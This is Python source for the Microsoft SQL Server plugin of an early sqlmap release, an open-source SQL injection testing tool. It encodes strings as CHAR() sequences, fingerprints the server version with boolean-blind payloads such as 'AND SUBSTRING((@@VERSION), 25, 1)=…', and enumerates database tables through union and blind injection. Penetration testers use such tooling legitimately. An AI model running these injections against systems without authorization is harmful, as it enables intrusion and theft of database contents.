#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import time from lib.core.agent import agent from lib.core.common import dataToStdout from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapSyntaxException from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint from plugins.generic.takeover import Takeover class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS Enumeration.__init__(self, "Microsoft SQL Server") unescaper.setUnescape(MSSQLServerMap.unescape) @staticmethod def unescape(expression, quote=True): if quote: while True: index = expression.find("'") if index == -1: break firstIndex = index + 1 index = expression[firstIndex:].find("'") if index == -1: raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] #unescaped = "(" unescaped = "" for i in range(firstIndex, lastIndex): unescaped += "CHAR(%d)" % (ord(expression[i])) if i < lastIndex - 1: unescaped += "+" #unescaped += ")" expression = expression.replace(old, unescaped) else: expression = "+".join("CHAR(%d)" % ord(c) for c in expression) return expression @staticmethod def escape(expression): while True: index = expression.find("CHAR(") if index == -1: break firstIndex = index index = expression[firstIndex:].find("))") if index == -1: raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] oldUpper = old.upper() oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") oldUpper = oldUpper.split("+") escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) expression = expression.replace(old, escaped) return expression def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if self.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = formatDBMSfp() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp["dbmsRelease"] version = kb.bannerFp["dbmsVersion"] servicepack = kb.bannerFp["dbmsServicePack"] if release and version and servicepack: banVer = "Microsoft SQL Server %s " % release banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) self.getPrematureBanner("@@VERSION") if not conf.extensiveFp: return True logMsg = "testing Microsoft SQL Server" logger.info(logMsg) payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") result = Request.queryPage(payload) if result == True: logMsg = "confirming Microsoft SQL Server" logger.info(logMsg) for version in ( 0, 5, 8 ): payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 25, 1)=%d" % version) result = Request.queryPage(payload) if result == True: if version == 8: kb.dbmsVersion = ["2008"] elif version == 5: kb.dbmsVersion = ["2005"] elif version == 0: kb.dbmsVersion = ["2000"] break if kb.dbmsVersion: setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) else: setDbms("Microsoft SQL Server") self.getPrematureBanner("@@VERSION") return True else: warnMsg = "the back-end DMBS is not Microsoft SQL Server" logger.warn(warnMsg) return False def getPrivileges(self): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges" logger.warn(warnMsg) return {} def getTables(self): logMsg = "fetching tables" if conf.db: logMsg += " for database '%s'" % conf.db logger.info(logMsg) rootQuery = queries[kb.dbms].tables if not conf.db: if not len(self.cachedDbs): dbs = self.getDbs() else: dbs = self.cachedDbs else: if "," in conf.db: dbs = conf.db.split(",") else: dbs = [conf.db] if conf.unionUse: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: logMsg = "skipping system database '%s'" % db logger.info(logMsg) continue query = rootQuery["inband"]["query"] % db value = inject.getValue(query, blind=False) if value: self.cachedTables[db] = value if not self.cachedTables: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: logMsg = "skipping system database '%s'" % db logger.info(logMsg) continue logMsg = "fetching number of tables for " logMsg += "database '%s'" % db logger.info(logMsg) query = rootQuery["blind"]["count"] % db count = inject.getValue(query, inband=False) if not len(count) or count == "0": warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in range(int(count)): query = rootQuery["blind"]["query"] % (db, index, db) table = inject.getValue(query, inband=False) tables.append(table) if tables: self.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not self.cachedTables: errMsg = "unable to retrieve the tables for any database" raise sqlmapNoneDataException, errMsg return self.cachedTables